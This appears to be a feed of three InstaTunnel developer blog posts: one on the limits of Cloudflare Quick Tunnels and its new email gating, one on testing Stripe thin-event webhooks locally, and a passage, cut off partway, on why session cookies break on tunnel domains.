InstaTunnel — Sat, 31 Oct 2026 01:43:00 +0000

On September 18, 2026, a link to Cloudflare’s Quick Tunnels page climbed to the top of Hacker News, collecting more than 800 points and 300 comments, according to Cloudflare’s own write-up. Two weeks later, on October 2, Cloudflare shipped email-gated access for the same feature: add an --allowed-mail flag and only the people you name can open your tunnel.

Quick Tunnels are not new. Cloudflare launched them on September 2, 2021, in a post by the summer intern who built them. What changed is how many developers, and how many coding agents, now reach for a one-command public URL. That makes it worth reading the documented limits calmly before you build a workflow on top of them.

This article covers what account-less tunnels do well, where the documentation says they stop, and which jobs suit a stable-subdomain tunnel.

Facts below were checked against Cloudflare’s documentation and changelog, and against each vendor’s own docs, on October 31, 2026. Disclosure: this article is published on the InstaTunnel blog, and InstaTunnel appears as one example in the stable-subdomain section.

What is a Cloudflare Quick Tunnel?

A Quick Tunnel is a temporary public URL on trycloudflare.com that forwards traffic to a service on your machine. You need no Cloudflare account and no domain. The whole setup is one command:

cloudflared tunnel --url http://localhost:8080

cloudflared prints a random hostname. Visitors reach it over HTTPS, the request travels down an outbound connection your machine opened to Cloudflare, and your local server answers. Your router never accepts an inbound connection. Cloudflare’s docs state the trade-off plainly: anyone with the URL can reach your local service, and the URL stops working when you stop the cloudflared process.

Cloudflare’s 2021 launch post explains the mechanics. A Cloudflare Worker generates the random subdomain, a DNS record is created for it, and a scheduled job deletes tunnels that have been disconnected for more than five minutes.

Why account-less tunnels caught on

Zero signup friction. Before Quick Tunnels, the 2021 post says, trying Cloudflare Tunnel meant creating an account, adding a website, changing nameservers and waiting for DNS propagation. For a developer showing a half-finished build to a client, skipping all of that is the appeal.

Agents can run it unattended. A coding agent cannot fill in a signup form, but it can run a shell command. Cloudflare’s announcement describes agents using Quick Tunnels to show previews, expose a local MCP server, or reach a machine at home. Adding --output json makes each log line a JSON object. Flavio Copes tested this and found the URL is still embedded inside the message field, so a program still has to pattern-match it out of the line.

Real HTTPS from localhost. Browsers limit APIs such as the camera, geolocation and service workers to secure contexts. Your phone treats a plain-HTTP LAN address as insecure, while a tunnel URL is a real HTTPS origin.

The downside was always the same: anyone holding the link could open it. TechSpot notes that security firms have documented criminals abusing free, anonymous tunnels to stage malware, and that ngrok’s founder said in the Hacker News thread that his company dropped anonymous tunnels years ago because the abuse wasn’t worth it. Account-less is a trade, not a free lunch.

What `--allowed-mail` actually adds

Starting with cloudflared 2026.9.3, you can restrict a Quick Tunnel by email address:

cloudflared tunnel --url http://localhost:8080 \
  --allowed-mail alice@example.com

Alice opens the URL, enters her email address, receives a one-time PIN, and then reaches your app. Per Cloudflare’s documentation you can:

repeat the flag for multiple addresses,
pass a comma-separated list in quotes, or
allow a whole domain with a quoted wildcard such as '*@example.com'.

Visitors do not need a Cloudflare account, and Cloudflare says email protection is free like Quick Tunnels themselves. If you omit the flag, nothing changes and the tunnel stays public. To change who has access, stop cloudflared and start a new tunnel. Access ends for everyone when the process exits.

If you build on Workers, Cloudflare says the same flags work through npx wrangler tunnel quick-start, and that Wrangler removes --allowed-mail values from its debug logs.

How the design works

Cloudflare splits the problem in two. Cloudflare Access verifies that a visitor controls an email address. A small stateless broker on Workers turns that into a short-lived, signed assertion. Then cloudflared, on your machine, decides whether that address is on your list.

Cloudflare says it rejected two simpler designs. One was putting an Access application in front of every Quick Tunnel hostname, which would mean provisioning applications and policies for a huge number of short-lived tunnels with no account to own them. The other was building the whole login flow from scratch.

The consequence of the chosen design is that your guest list never leaves your machine. Cloudflare learns that a tunnel requires email authentication, not who you invited. A protected tunnel also never falls back to public mode: if the service does not confirm the authentication mode, cloudflared refuses to start. Sessions last up to four hours (less if the visitor’s Access sign-in expires sooner) or until you stop the process.

Cloudflare’s post adds a footnote: the feature was shipped by two interns.

Making it the default for agents

For agent workflows, Cloudflare suggests one line in AGENTS.md telling the agent to always add --allowed-mail with your address. The caveat is worth repeating: agents do not always follow instructions, so check what actually ran. cloudflared prints whether email authentication is active and how many rules it holds, without printing the addresses.

Where Quick Tunnels stop: the documented limits

Cloudflare’s Quick Tunnels documentation (last updated September 30, 2026) lists these limitations:

Limit	What the docs say	What it means in practice
Uptime	No uptime guarantee	Fine for a demo, wrong for anything users depend on
Concurrency	Up to 200 in-flight requests; additional requests get a `429`	A busy test page or a load test can trip it
Streaming	No Server-Sent Events (SSE) support	Live-updating pages built on SSE will not behave
Hostname	Changes each time you create a Quick Tunnel	Every restart means a new URL
Email gate	Requires an interactive browser session; no non-interactive clients	Automated callers cannot pass the PIN

The same page labels Quick Tunnels as for testing and development, and points to a named Cloudflare Tunnel for stable hostnames and production traffic.

The 200 in-flight request cap

“In flight” means requests being proxied at the same moment, not per second. A typical dev preview never gets near 200; a crawler or load test can. The failure is explicit: requests beyond the cap return an HTTP 429.

No SSE

Cloudflare’s Sandbox SDK documentation explains the mechanism: the trycloudflare.com edge buffers text/event-stream responses, so events never reach the client in real time. The same page says WebSockets work normally and that named tunnels support SSE. This matters because many chat interfaces and dashboards stream over SSE.

Hands-on testing by Flavio Copes on cloudflared 2026.9.1 adds nuance absent from the docs. GET responses were held until they finished, POST responses streamed as written, and WebSockets worked both ways. That would explain why a POST-based LLM API can appear to work while a browser EventSource (always GET) does not. This is one person’s observation on one version, not a guarantee, so test your own stream.

No uptime guarantee, and the URL is disposable

Cloudflare’s docs promise no uptime, and the hostname is regenerated on every start. Any system that stores your URL needs updating each time.

The email gate and automated callers

This is the limit most likely to surprise people. Cloudflare’s changelog lists a “webhook receiver” among the things you might share with specific people. The Quick Tunnels documentation, however, says email authentication requires an interactive browser and does not support non-interactive clients. A webhook sender cannot type an address and read a PIN, so by the documented restriction it should be blocked. That is an inference from the docs, so test it before relying on it. The email gate is built for people reviewing a demo, and it does that job well.

Practical tips for demos

These come from Flavio Copes’s hands-on guide and are observations, not documented guarantees.

The DNS gap. He measured 3 to 33 seconds between the URL appearing and its DNS record resolving. Scripts that fetch the URL immediately can fail, and he reports that early failed lookups can be cached by resolvers for a long time.
Dev servers reject unfamiliar hosts. Vite refuses requests whose Host header it does not recognize. Either add .trycloudflare.com to server.allowedHosts or start the tunnel with --http-host-header localhost:<port>.
An existing config file can interfere. His guide says Quick Tunnels do not work if a config.yml exists in ~/.cloudflared, as it might from an earlier named tunnel. Rename it temporarily.
Cloudflare sits in the traffic path. He notes Cloudflare terminates the visitor’s TLS. Tailscale’s docs, by contrast, say Funnel relay servers cannot decrypt traffic. Either way, keep real customer data out of demo tunnels.

Where a stable-subdomain tunnel fits

The limits above point to a clear dividing line. Quick Tunnels are excellent when the job is short, the audience is small and nothing stores the URL. A stable-subdomain tunnel fits when any of these are true:

A third party stores your URL. Webhook dashboards, OAuth redirect URI allowlists and embed allowlists all expect an address that does not change.
The audience is automated. Webhook senders and CI jobs cannot complete an interactive login.
The session outlives a laptop sleep. You want the same address tomorrow morning.
You need streaming or more concurrency than a Quick Tunnel allows.

Here is how the main options compare, using each vendor’s own documentation.

Option	Stable URL?	What you need	Notes from the docs
Cloudflare Quick Tunnel	No, random each start	Nothing	Limits listed above
Cloudflare named tunnel	Yes, a hostname you choose	Free account plus a domain on Cloudflare DNS	Cloudflare recommends this for stable hostnames and production traffic; SSE supported per the Sandbox docs
ngrok free plan	Yes, one assigned dev domain that persists across restarts; you cannot choose the name	ngrok account	Up to 3 online endpoints, 1 GB/month transfer out, 20,000 requests/month; an interstitial page is shown in front of HTML browser traffic
Tailscale Funnel	Yes, on your `*.ts.net` name	Tailscale installed, MagicDNS, HTTPS and Funnel enabled	Beta; public ports limited to 443, 8443 and 10000; bandwidth limits are non-configurable
InstaTunnel	Yes, via `--subdomain`	The npm CLI	README documents `--password`, `--auth` (basic auth) and custom domains on Pro/Business plans; the README says the deployment is currently single-region (US)

A few clarifications keep this table honest.

Named Cloudflare tunnels use the same cloudflared binary, at the cost of owning a domain on Cloudflare DNS. If you already do, this is the natural upgrade.

ngrok’s free plan keeps a persistent dev domain, but the name is assigned, not chosen. Its docs say the interstitial warning page appears in front of all HTML browser traffic on the free tier, with a cookie suppressing it for 7 days after a visitor clicks through. API and programmatic traffic is not affected, and a documented ngrok-skip-browser-warning request header bypasses it. Custom and reserved domains require a paid plan, and free endpoints have no timeout.

Tailscale Funnel suits existing Tailscale users. The fixed ports and ts.net naming constrain webhook providers and branded demos.

InstaTunnel documents instatunnel 3000 --subdomain myapp and a protected review-link example using --auth. Its README also describes an MCP streaming transport (v2) listed under its Pro and Business features. I could not verify its free-tier session limits from the README, so check its pricing page before relying on any free-tier claim, as with any vendor.

A practical decision checklist

Ask these questions in order and stop at the first “yes”:

Will anything outside your machine remember this URL? (webhook dashboard, OAuth allowlist, a teammate’s bookmark) Use a stable-subdomain tunnel.
Does the visitor have to be a script? Skip the email gate. Use a stable tunnel with token or basic authentication that a machine can send, and verify webhook signatures in your handler.
Does your app stream over SSE or expect more than 200 concurrent requests? Use a named tunnel or another provider.
Is it a one-off review by a few humans? A Quick Tunnel with --allowed-mail is hard to beat. It is fast, free, and the guest list stays local.
Is it production? Not a Quick Tunnel. Cloudflare says so itself.

Whichever you pick: tunnel only the port you mean to share, stop the tunnel when you finish, and keep real customer data out, since a hosted provider sits in the traffic path.

Frequently asked questions

Are Cloudflare Quick Tunnels free?

Yes. They need no account or domain, and Cloudflare says email protection is free too. They carry no uptime guarantee and are meant for testing and development.

How do I restrict a Quick Tunnel to certain people?

Use cloudflared 2026.9.3 or later and add --allowed-mail with an address, a comma-separated list, or a quoted wildcard like '*@example.com'. Visitors confirm with a one-time PIN and need no Cloudflare account.

Why does my Quick Tunnel return a 429 error?

Quick Tunnels allow up to 200 in-flight requests, and additional requests get an HTTP 429. If you hit it regularly, move to a named tunnel or another provider.

Do Quick Tunnels support Server-Sent Events?

No. Cloudflare’s docs say so, and its Sandbox docs list SSE as supported on named tunnels.

Can I keep the same URL after a restart?

Not with a Quick Tunnel, because the hostname changes each time. Use a named Cloudflare Tunnel on your own domain, or a service with reserved subdomains.

Why is Vite blocking my tunnel URL?

Vite rejects hosts it does not recognize. Add .trycloudflare.com to server.allowedHosts, or start the tunnel with --http-host-header set to your local host and port.

Conclusion

Account-less tunnels get the first five minutes right: no signup, one command, real HTTPS, and now a guest list that stays on your machine. They stop where the documentation says: no uptime guarantee, 200 in-flight requests, no SSE, a hostname that changes on every start, and an email gate machines cannot pass.

Use a Quick Tunnel for the demo. When a webhook provider, an allowlist or a teammate’s bookmark needs the address to stay put, switch to a stable-subdomain tunnel and stop pasting new URLs.

Sources

Originally published at https://instatunnel.my/blog/after-the-quick-tunnels-moment-what-account-less-tunnels-get-right-and-where-they-stop

Stripe Thin Events on Localhost: When the CLI Is Enough and When You Need a Stable Public URL

InstaTunnel — Fri, 30 Oct 2026 01:40:15 +0000

If you wrote your Stripe webhook handler a few years ago, it probably assumes the event contains the whole object. Thin events break that assumption on purpose. A thin event is a small notification that says what happened and which object it happened to. Your code then calls the Stripe API to get the rest.

That design suits production, but it changes how you test on localhost. There are now two event formats, two sets of CLI flags, and two different answers to “do I need a public URL?”

This guide covers how thin events differ from snapshot events, how to receive them locally with the Stripe CLI, where the CLI stops being enough, and why a stable public HTTPS URL matters once teammates share an endpoint.

TL;DR

Thin events carry an event ID, type, timestamp, and a pointer to the related object. The notification payload is unversioned. Snapshot events carry the full object and are tied to an API version.
The CLI forwards snapshot events with --forward-to. Thin events use --forward-thin-to plus --thin-events.
For one developer building a handler, stripe listen is usually enough. It needs no public URL and no Dashboard setup.
A registered event destination that delivers to a webhook endpoint needs a publicly accessible HTTPS URL. That is where a stable tunnel or a deployed staging server comes in.
Fetch-after-notify handlers work on localhost, because the follow-up API call is an ordinary outbound request.

Thin events vs. snapshot events

Stripe delivers events to an event destination in one of two formats, and you choose the format when you create the destination.

A snapshot event arrives as the complete Event object, including a point-in-time copy of the related resource. Its structure follows the API version of the destination, so your code and your destination must stay compatible. Statically typed SDKs (.NET, Java, Go) need the destination’s API version to match the version the SDK was generated from, or deserialization fails.

A thin event arrives as a lightweight notification. Per Stripe’s documentation, it contains:

type, such as v2.core.account.updated
id, the event ID you use to retrieve the full event
created, a timestamp
related_object, with the resource’s ID, type, and API URL

Stripe’s example payload also shows livemode, context, and a reason hash that describes what triggered the event.

The notification does not include the changes or data hashes. Those exist only on the complete event, which you retrieve from the v2 Events API.

	Snapshot events	Thin events
Payload	Large, includes a snapshot of the object	Small, ID and pointer only
Versioning	Versioned by API version	Unversioned
SDK typing	Untyped	Typed
Events API	v1	v2
Changed fields	`previous_attributes` in the payload	`changes` hash on the full event

Because the notification is unversioned, you can upgrade your Stripe SDK or API version without editing the event destination. The resources you fetch afterwards still follow normal API versioning. Stripe recommends thin events for new integrations. It keeps snapshot events for two cases: a third-party tool needs the complete Event payload, or you need the previous values of changed attributes without an extra API call.

One detail trips up older tutorials. Stripe’s current documentation says both API v1 and API v2 resources generate thin events, and the thin event catalog lists v1.* types such as v1.payment_intent.succeeded and v1.invoice.paid. Some versions of Stripe’s docs still describe thin events for v1 resources as a private preview. Check the catalog and your own account before you build on a specific type.

Why fetch-after-notify fits localhost

A snapshot can be stale by the time you process it, and Stripe advises fetching the latest resource before acting on critical data. Thin events make that the default workflow:

Verify the signature and parse the notification.
Call fetchRelatedObject() to get the current state of the resource.
Call fetchEvent() only if you need the data or changes hashes.
Act on what you fetched.

If the event type and resource ID tell you enough, you can also process the notification without any extra call.

This helps local development. Your handler needs inbound delivery from Stripe and outbound calls to the Stripe API. Outbound calls work from any laptop. Only inbound delivery needs a route to your machine, and the CLI provides one without a public URL.

Your handler does need an API key for those outbound calls. A publishable key can’t authorize fetchRelatedObject() or fetchEvent(). Use a secret or restricted key, and Stripe suggests restricting it to read access on the resources you retrieve.

Receiving thin events with the Stripe CLI

Install the CLI and log in. Stripe’s current guide installs it with npm, and the login pairs the CLI to your account:

npm install -g @stripe/cli@latest
stripe login

The API key that stripe login generates is valid for 90 days.

By default, stripe listen accepts snapshot events only. To get thin events, name them with --thin-events and give them their own forwarding target:

stripe listen --forward-thin-to localhost:4242/webhook --thin-events "*"

This is the form used in Stripe’s webhook guide. The CLI prints a signing secret beginning with whsec_. Stripe states that this secret does not change between restarts of stripe listen, so you can store it in a local .env file once.

A few details worth knowing:

Two formats, two flags. --forward-to handles snapshot events and --forward-thin-to handles thin events. Use both in one command if your app consumes both.
Connect has its own flag. --forward-thin-connect-to forwards thin events from connected accounts. By default it reuses your thin events URL. The snapshot equivalent is --forward-connect-to.
Sandbox by default. Add --live only when you deliberately want live-mode events.
No Dashboard setup. You don’t need to configure any webhook endpoint in the Dashboard to receive events through the CLI.
Terminal only. You can’t forward events from the Workbench Shell to your local endpoint. Run the CLI in a real terminal.
Self-signed HTTPS. --skip-verify skips certificate verification when forwarding to an HTTPS target. Use it for local development only.
Mirror a real endpoint. --load-from-webhooks-api loads the paths and event types of your registered Dashboard endpoints and appends the path to your local --forward-to target. Stripe documents this for snapshot forwarding, so check the CLI reference before relying on it for thin destinations.

To generate a test event, Stripe’s documentation uses this thin example:

stripe trigger v1.billing.meter.error_report_triggered

When forwarding succeeds, the listen tab prints a line like [200 POST] OK v1.billing.meter.error_report_triggered.

A minimal Node.js handler

Stripe’s SDKs provide parseEventNotification(), which verifies the Stripe-Signature header and returns a typed notification. Stripe’s documentation labels the thin event handler “Clover+”, so use an SDK version released with the Clover API version or later. This Express handler follows the shape in Stripe’s docs, and you should confirm method names against the SDK version you install:

const express = require('express');
const Stripe = require('stripe');

const client = new Stripe(process.env.STRIPE_API_KEY);
const endpointSecret = process.env.WEBHOOK_SECRET; // whsec_... from `stripe listen`
const app = express();

// Register this route BEFORE any express.json(): signature checks need the raw body.
app.post('/webhook', express.raw({ type: 'application/json' }), async (req, res) => {
  let notification;
  try {
    notification = client.parseEventNotification(
      req.body,
      req.headers['stripe-signature'],
      endpointSecret
    );
  } catch (err) {
    return res.status(400).send(`Webhook Error: ${err.message}`);
  }

  res.sendStatus(200); // acknowledge first, work afterwards

  try {
    if (notification.type === 'v1.billing.meter.error_report_triggered') {
      const meter = await notification.fetchRelatedObject(); // latest state
      const event = await notification.fetchEvent();         // adds the `data` hash
      console.log(meter.id, event.data);
    } else {
      console.log(`Unhandled event type: ${notification.type}`);
    }
  } catch (err) {
    console.error('Processing failed', notification.id, err);
  }
});

app.listen(4242);

Stripe’s SDKs also include an UnknownEventNotification class for event types released after your SDK version. Match on type for those instead of expecting a generated class.

Several habits from Stripe’s guidance are worth adopting immediately:

Leave the raw body alone. Any manipulation before verification breaks the signature check.
Return a 2xx before slow work. Process events through an asynchronous queue so delivery spikes don’t overwhelm your hosts. The try/catch above is a stand-in for that queue.
Deduplicate by event ID. Stripe may deliver an event more than once and doesn’t guarantee ordering. Don’t use created to sequence events or detect repeats.
Subscribe only to the types you need. Stripe advises against listening to everything on a registered destination.
Exempt the route from CSRF protection if your framework (Rails, Django, and similar) enforces it on POST requests.

When the Stripe CLI is enough

For everyday work, stripe listen beats a tunnel. Use it when:

You are the only developer on the handler. One person, one machine, one process.
You are writing handler logic. Parsing, routing by event type, and fetch-after-notify calls behave the same whether the notification came through the CLI or a registered endpoint.
You don’t want to register anything. Nothing is created in the Dashboard, so nothing needs cleanup.
You want a stable local secret. The signing secret survives restarts.

You also don’t have to expose a port or register a URL. Treat the CLI as the inner-loop tool: edit code, trigger an event, read the result.

When you need a stable public URL

The CLI doesn’t replace a real event destination. Stripe’s documentation states that registered webhook endpoints must be publicly accessible HTTPS URLs. Its own guide suggests a tunneling tool such as ngrok for temporary testing when you have a local server and no public URL. A handler you’re still developing locally can use HTTP, but once it is publicly accessible it must use HTTPS. HTTPS is required in live mode.

1. You are testing real delivery behavior

CLI forwarding skips parts of the production path. A registered destination adds rules the CLI never exercises:

Redirect responses (3xx) count as failures. Point the destination at the final URL.
Stripe requires TLS 1.2 or 1.3 and a valid certificate chain. A TLS error shows up on the delivery.
Live-mode deliveries retry with exponential backoff for up to three days. Sandbox deliveries retry three times over a few hours, so a sandbox can’t reproduce multi-day retry behavior.
Slow responses time out and show up as failed deliveries.
Workbench’s Event deliveries tab lists each event as Delivered, Pending, or Failed, with the HTTP status code and the time of the next attempt.

To watch your handler survive a retry, you need a real destination pointed at a reachable URL.

2. Teammates share one endpoint

This is where a tunnel pays off. You can register up to 16 event destinations per livemode or sandbox account, and every registered destination has its own signing secret. Having each developer register a personal destination doesn’t scale.

Separate stripe listen sessions work for isolated development, but they don’t give the team one place where a webhook lands, gets logged, and can be inspected by everyone. Point a single thin event destination at a persistent HTTPS address in front of a shared dev or staging service, and everyone sees the same deliveries and uses the same secret. For anything longer-lived, a deployed staging server beats a tunnel.

The word that matters is stable. If the tunnel URL changes every session, you must update the destination in Workbench or through the /v2/core/event_destinations API each time, then copy the new signing secret into your config. A reserved or persistent subdomain on a tunnel service removes that chore. Several services offer one, such as InstaTunnel’s --subdomain flag, but plan limits differ, so check which tier includes reserved subdomains before you commit.

3. You run thin and snapshot endpoints side by side

Stripe says that if you use thin events, you need to register a separate webhook endpoint. During a migration you may run both formats, which means two destinations and two secrets. One stable host with two paths, such as /webhooks/snapshot and /webhooks/thin, keeps that manageable. If you use Accounts v2, you might listen to both formats at once.

4. You test Connect or organization destinations

Connect platforms choose whether a destination listens to their own account (events_from: ["@self"]) or to connected accounts (["@accounts"]). Depending on your integration, you may need both. For example, thin events about Accounts v2 objects that represent connected accounts go to a destination on Your account.

The CLI has thin-specific Connect forwarding, but a registered destination is the realistic test of these scopes. Organization destinations (@organization_members) also have documented limits for event types that need a synchronous response:

You can’t subscribe an organization destination to issuing_authorization.request.
An organization destination can’t influence Checkout redirect behavior on checkout_sessions.completed.
An organization destination can’t influence automatic invoice finalization when it responds unsuccessfully to invoice.created.

For those event types, Stripe says to use a webhook endpoint in a Stripe account within the organization. You only see these limits against a real endpoint.

5. Something off your laptop needs the URL

A staging environment, a mobile build, a partner integration, or a stakeholder demo can’t use a CLI session on your machine.

Quick decision guide

Situation	Best tool
Writing handler logic alone	`stripe listen --forward-thin-to`
Testing retries and delivery failures	Registered endpoint on a stable URL
Several developers, one shared endpoint	Stable tunnel or deployed staging
Thin and snapshot side by side	Stable URL with two paths
Connect or organization destinations	Registered endpoint
Demos and QA outside your machine	Stable tunnel or staging

A workable pattern is to use the CLI for most of development, then switch to a registered destination on a stable URL for integration testing and sign-off.

Creating a thin destination for your tunnel

In Workbench, open the Webhooks tab and create an event destination. Then:

Choose Your account.
Select the Thin payload format (Stripe marks it as recommended).
Pick your event types.
Choose Webhook endpoint as the destination type.
Enter your endpoint URL.

Stripe then shows a whsec_ signing secret on the settings page, behind Reveal secret.

Through the API, call /v2/core/event_destinations. Stripe’s example looks like this:

curl -X POST https://api.stripe.com/v2/core/event_destinations \
  -H "Authorization: Bearer $STRIPE_API_KEY" \
  -H "Stripe-Version: <version from Stripe's current docs>" \
  --json '{
    "name": "Thin events (dev tunnel)",
    "type": "webhook_endpoint",
    "events_from": ["@self"],
    "event_payload": "thin",
    "enabled_events": ["v1.billing.meter.error_report_triggered"],
    "webhook_endpoint": { "url": "https://your-stable-subdomain.example.com/webhooks/thin" },
    "include": ["webhook_endpoint.signing_secret"]
  }'

Stripe’s sample pins a preview API version in the Stripe-Version header, so copy the current value from the docs instead of hard-coding an old one. The include array returns webhook_endpoint.signing_secret in the response.

Stripe lists a v2.core.event_destination.ping event type, described as a ping used to test the connection to an event destination. It’s a useful first check that your tunnel, TLS, and signature verification work before you wait for a real event.

Stripe generates a unique secret for each endpoint, and an endpoint used with both test and live keys has a different secret for each. In practice, a destination’s secret differs from the one the CLI prints, so keep the two in separate environment variables.

Recovery is easier with a real destination:

Workbench resend: you can resend an event for up to 15 days after it was created.
CLI resend: stripe events resend <event_id> --webhook-endpoint=<endpoint_id> works for up to 30 days. Resending doesn’t cancel Stripe’s automatic retries, even if the resend returns a 2xx.
Missing event types: if you add a type to enabled_events later, Stripe doesn’t backfill earlier events. You can list them through the v2 Events API (using the types filter) and retrieve each complete event, for up to 30 days.
Retention: Workbench keeps event summaries for 13 months, but full payloads are limited to the last 30 days.

Security checklist for a public dev endpoint

A public URL is an attack surface even in a sandbox. Stripe’s guidance is to use two protections together:

Verify every signature. parseEventNotification() handles this for thin events. Stripe needs the raw request body for the check.
Reject stale timestamps. Stripe’s libraries default to a five-minute tolerance. Never set it to 0, which disables the recency check entirely.
Allowlist Stripe’s IP addresses. Stripe publishes the addresses it sends webhooks from. With a tunnel in front of your laptop, apply the allowlist at the tunnel or firewall layer if your provider supports it.
Keep secrets out of code. Use environment variables or a secrets vault, and never put an API key or endpoint secret in source code, screenshots, or client-side apps.
Roll leaked secrets. In Workbench, Roll secret lets you expire the old secret immediately or keep it active for up to 24 hours. During that window Stripe sends one signature per active secret.
Close the tunnel when you finish, or restrict non-webhook routes.

Frequently asked questions

Can I receive Stripe thin events on localhost without a tunnel?

Yes. Run stripe listen --forward-thin-to localhost:<port>/<path> --thin-events "*". The CLI forwards events from your account to your handler without a registered public URL.

What is the difference between `--forward-to` and `--forward-thin-to`?

--forward-to forwards snapshot events. --forward-thin-to forwards thin events, and you also need --thin-events to say which ones. Use * for all thin events.

Do thin event destinations need HTTPS?

A registered webhook endpoint must be a publicly accessible HTTPS URL, and HTTPS is required in live mode. A handler you’re developing locally can use plain HTTP behind the CLI.

Can one endpoint receive both thin and snapshot events?

Stripe’s guidance is to register a separate endpoint for thin events rather than reuse a snapshot destination. You can host both on one domain with two paths.

Does the CLI signing secret work with a Dashboard destination?

No. Each registered destination has its own signing secret, distinct from the one the CLI prints.

Do I need to handle events in order?

No, and you shouldn’t try. Stripe doesn’t guarantee delivery order. Track event IDs to detect duplicates, and fetch the related object when you need current state.

Final thoughts

Thin events move complexity out of your webhook configuration and into handler code, where it is easier to test and version. On localhost, the Stripe CLI covers most of the inner loop with one flag pair. When you need to prove delivery behavior, share an endpoint across a team, or reach the handler from outside your machine, you are working with a real event destination. That means a stable, public HTTPS URL.

Start with the CLI. Move to a persistent URL when the work stops being a solo experiment.

Sources: Stripe documentation on how events work, webhook endpoints, setting up events, the thin event type catalog, and the Stripe CLI listen reference. InstaTunnel’s subdomain flag is from its npm README.

Originally published at https://instatunnel.my/blog/stripe-thin-events-on-localhost-when-the-cli-is-enough-and-when-you-need-a-stable-public-url

Cookies on Tunnel Domains: Why Login Works on localhost but Breaks on a Tunnel URL

InstaTunnel — Thu, 29 Oct 2026 01:41:21 +0000

You build a login flow, test it on localhost:3000, and it works. Then you expose the app through a tunnel to demo it, test OAuth, or open it on a phone. The login form submits, the server returns 200, and you land back on the sign-in page. There is no error and no stack trace, just a session that never sticks.

This is almost always a cookie problem. Browsers give localhost special treatment, and a public tunnel URL is a different security context. This guide explains what changes, which browser rules are responsible (the Public Suffix List, SameSite, Secure), and how to fix it so the setup holds up in development and production.

TL;DR

Domain scope: A Domain= attribute that works on localhost is rejected when the tunnel host sits under a public suffix.
Site boundaries: Two tunnel URLs from the same provider are usually cross-site, even though they share a parent domain.
SameSite: Chromium-based browsers treat cookies without a SameSite attribute as Lax, so cross-site subrequests lose them.
Secure: Tunnels terminate HTTPS at the edge, but your app often sees plain HTTP. Frameworks that check the request scheme may then skip Secure cookies unless they trust the proxy.
Fix: Host-only cookies, __Host- prefixes, one stable hostname, and correct proxy settings.

Why localhost behaves differently

localhost is forgiving by design. Three behaviors make local login flows work that would fail on a real domain.

Secure cookies over HTTP. Browsers normally refuse a Secure cookie set from an http: page. MDN documents that this HTTPS requirement is ignored for localhost since Chrome 89 and Firefox 75. Safari is the outlier. It still rejects Secure cookies from plain-HTTP localhost, and WebKit bug 232088 tracks the problem. As of the latest activity on that bug (April 2026), a WebKit change toward supporting Secure cookies on loopback hostnames has landed. Its author notes it does not work on its own until the underlying cookie storage also accepts them, so don’t assume your Safari version is fixed.
No public suffix involved. localhost is a single-label host, so there is no registrable domain and no shared parent for a cookie to leak into.
Everything is same-site. A frontend on localhost:3000 and an API on localhost:8080 share a site, because ports are ignored.

A tunnel URL such as https://abc123.some-provider.app removes all three safety nets at once. You get a real hostname, a real parent domain, and an HTTPS connection with a proxy in the middle.

Site vs. origin, and why the Public Suffix List matters

An origin is scheme + hostname + port. A site is scheme + the registrable domain (eTLD+1). Per web.dev, two URLs are same-site when they share a scheme and eTLD+1, and cross-site when either differs. Subdomains and ports don’t matter. Because the scheme is part of the site, http://localhost:3000 and an https:// tunnel URL are never same-site.

Nothing in a domain name says where the registrable domain starts. For example.com it’s obvious. For example.co.uk or yourname.github.io it isn’t. That is what the Public Suffix List (PSL) is for. It is a community-maintained list of suffixes under which the public can register names, such as com, co.uk and pvt.k12.ma.us. Browsers use it to decide where cookies may and may not be set, which stops one site from planting cookies that are read across unrelated sites.

Heroku’s documentation shows the practical effect. Because herokuapp.com is on the list, apps there can’t set cookies for all of *.herokuapp.com. Heroku decided that losing cookie sharing across apps was a fair price for closing a session-fixation and cookie-hijacking hole.

Tunnel providers face the same problem. Many users get subdomains of one parent, and without PSL protection one user’s page could set cookies that every other user’s tunnel receives. So providers register their domains.

Provider	Hostname pattern	On the PSL?
ngrok (paid)	`.ngrok.app`, `.ngrok.dev`	Yes, per ngrok’s docs
ngrok (free)	`.ngrok-free.app`, `.ngrok-free.dev`	Yes, per ngrok’s docs
ngrok (legacy)	`*.ngrok.io`	Yes; ngrok lists it as discontinued and available only to legacy accounts
Cloudflare quick tunnels	random `*.trycloudflare.com`	Yes (private section) according to developers who checked the list; the `ruby_native` gem also documents that browsers reject cookies scoped to it
Cloudflare named tunnels	a hostname on your zone	Not a shared suffix; it is your own domain

ngrok states that its managed base domains are on the Public Suffix List so that cookies from one subdomain cannot be accessed by another. The additions of ngrok.app, ngrok-free.app, ngrok.dev, ngrok-free.dev and ngrok.pizza appear in a 2023 PSL release. ngrok’s docs currently mark ngrok-free.pizza as “coming soon” and not yet on the list. Check the current list yourself rather than assuming, because providers add domains over time.

The consequence is easy to miss. a.ngrok-free.app and b.ngrok-free.app look like siblings, but each is its own registrable domain. They are cross-site to each other, and cookies can’t be shared between them.

Failure #1: The Domain attribute

On localhost, many frameworks set a session cookie with a broad Domain, or compute one automatically. Through a tunnel, that computed value can resolve to the public suffix itself.

The ruby_native gem documents this for Rails. Apps configured with domain: :all, tld_length: 2 resolve to .trycloudflare.com behind a quick tunnel, and browsers and WKWebView then silently reject the cookies, which breaks authentication. The gem’s workaround is a middleware that strips the domain= attribute so the cookie scopes to the exact tunnel hostname.

That’s good general advice. Omitting Domain produces a host-only cookie, sent only to that exact host and not its subdomains. It also limits the damage if a sibling subdomain is compromised.

# Rejected: Domain is a public suffix
Set-Cookie: session=abc123; Domain=.ngrok-free.app; Path=/; Secure; HttpOnly

# Works: host-only, no Domain attribute
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax

Don’t hardcode localhost or guess the domain from a TLD length. Read it from an environment variable and leave it unset in development.

Failure #2: SameSite and cross-site requests

SameSite controls whether a cookie is sent on cross-site requests. The values are Strict, Lax and None.

With the Chrome 80 release in February 2020, Chromium began treating cookies without a SameSite attribute as Lax. Cookies meant for cross-site contexts must specify SameSite=None; Secure, which also means they only work over HTTPS. Not every browser follows this default. The Chromium FAQ notes that Chrome on iOS uses WebKit and does not enforce the new defaults. That matters if you test a tunnel on an iPhone, because behavior can differ from desktop Chrome. Because defaults vary, set SameSite explicitly on every cookie.

Chromium also ships a temporary exception, called the Lax + POST mitigation. A cookie that is at most two minutes old is still sent on a top-level cross-site POST if it relied on the implicit default. The Chromium FAQ calls this a temporary solution that will be removed in the future. An explicit SameSite=Lax gets no grace period, so don’t build on it.

Where does this bite on a tunnel?

Split frontend and backend. If your frontend and API run on two tunnel URLs under a public suffix, they are cross-site. A Lax session cookie won’t be attached to fetch calls between them.
